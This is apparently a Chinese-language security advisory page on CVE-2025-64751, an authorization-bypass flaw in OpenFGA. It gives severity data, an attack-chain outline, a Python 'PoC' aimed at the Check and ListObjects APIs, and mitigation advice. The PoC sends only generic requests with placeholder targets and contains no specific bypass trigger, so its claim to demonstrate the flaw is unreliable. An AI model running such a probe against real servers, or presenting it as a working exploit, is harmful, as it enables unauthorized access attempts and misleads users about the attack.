IPBUF安全漏洞报告
English
CVE-2025-64751 CVSS 8.8 高危

CVE-2025-64751 OpenFGA 权限策略执行不当漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-64751
漏洞类型
权限控制不当
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenFGA

相关标签

权限控制不当OpenFGA授权绕过高危漏洞CVE-2025-64751Google Zanzibar零信任架构访问控制

漏洞概述

OpenFGA是一个高性能、灵活的授权/权限引擎,专为开发者构建,灵感来源于Google Zanzibar。该引擎广泛应用于现代微服务架构中,用于实现细粒度的访问控制。OpenFGA v1.4.0至v1.11.0版本存在严重的安全漏洞,攻击者可以利用Check和ListObject API调用执行不当的策略检查,从而绕过预期的权限限制。此漏洞影响Helm Chart(openfga-0.1.34至openfga-0.2.48)和Docker镜像(v1.4.0至v1.11.0)。由于OpenFGA通常部署在关键业务系统中处理核心权限逻辑,漏洞的成功利用可能导致未授权访问敏感资源、数据泄露或权限提升等严重后果。攻击者无需特殊权限即可发起攻击,且无需用户交互,这大大增加了漏洞的利用风险。厂商已在v1.11.1版本中修复此问题,建议所有使用受影响版本的用户立即升级。

技术细节

OpenFGA v1.4.0至v1.11.0版本在处理Check和ListObject API调用时存在权限验证缺陷。漏洞的根本原因在于权限检查逻辑中的条件判断存在漏洞,导致在某些特定场景下,系统未能正确执行预定义的授权策略。攻击者可以通过构造特殊的请求参数或调用序列,触发权限检查的边界条件,从而绕过授权验证。具体而言,当Check接口在处理包含特定关系类型的请求时,可能错误地返回允许访问的响应,即使请求者实际上不具备相应权限。ListObject接口同样受到影响,攻击者可能获取到本应被过滤的受限对象列表。该漏洞的利用不要求攻击者具备特殊权限,普通认证用户即可发起攻击。攻击者只需了解目标系统的模型定义和基本的API调用方式,即可尝试利用此漏洞。CVSS 3.1评分8.8(高危)反映出该漏洞对机密性、完整性和可用性均造成严重影响。

攻击链分析

STEP 1
1
攻击者获取目标OpenFGA实例的访问凭证(普通用户权限即可)
STEP 2
2
攻击者构造特殊的Check API请求,指定目标对象和关系类型
STEP 3
3
利用权限检查逻辑漏洞,绕过正常的授权验证流程
STEP 4
4
系统错误返回allowed=true,授予攻击者未授权访问权限
STEP 5
5
攻击者通过ListObjects API枚举并获取本应受限的资源列表
STEP 6
6
完成权限提升,成功访问敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64751 PoC - OpenFGA Improper Policy Enforcement # This PoC demonstrates the vulnerability in Check and ListObject API import requests import json OPENFGA_URL = "http://target-openfga-server:8080" STORE_ID = "your-store-id" MODEL_ID = "your-model-id" AUTH_TOKEN = "your-auth-token" def exploit_check_api(): """Exploit the Check API to bypass authorization""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious request targeting vulnerable Check endpoint payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker", "object": "document:secret-document" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/check", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"Check API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: allowed=true when it should be false if result.get("allowed"): print("[+] VULNERABLE: Unauthorized access granted!") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_list_objects_api(): """Exploit the ListObjects API to enumerate restricted resources""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/list-objects", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"ListObjects API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: returns objects user shouldn't access if "objects" in result and len(result["objects"]) > 0: print(f"[+] VULNERABLE: Retrieved {len(result['objects'])} unauthorized objects") return result["objects"] except Exception as e: print(f"[-] Error: {e}") return [] if __name__ == "__main__": print("="*60) print("CVE-2025-64751 OpenFGA PoC") print("="*60) print("\n[*] Testing Check API...") exploit_check_api() print("\n[*] Testing ListObjects API...") exploit_list_objects_api()

影响范围

OpenFGA v1.4.0 至 v1.11.0
OpenFGA Helm Chart openfga-0.1.34 至 openfga-0.2.48
OpenFGA Docker v1.4.0 至 v1.11.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制OpenFGA API的网络访问,仅允许受信任的IP访问;2) 加强API认证机制,使用强认证令牌;3) 在应用层增加额外的权限校验逻辑;4) 监控并告警异常的权限查询行为;5) 考虑使用WAF规则限制异常的API请求模式。但这些措施仅为临时解决方案,不能完全消除漏洞风险,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表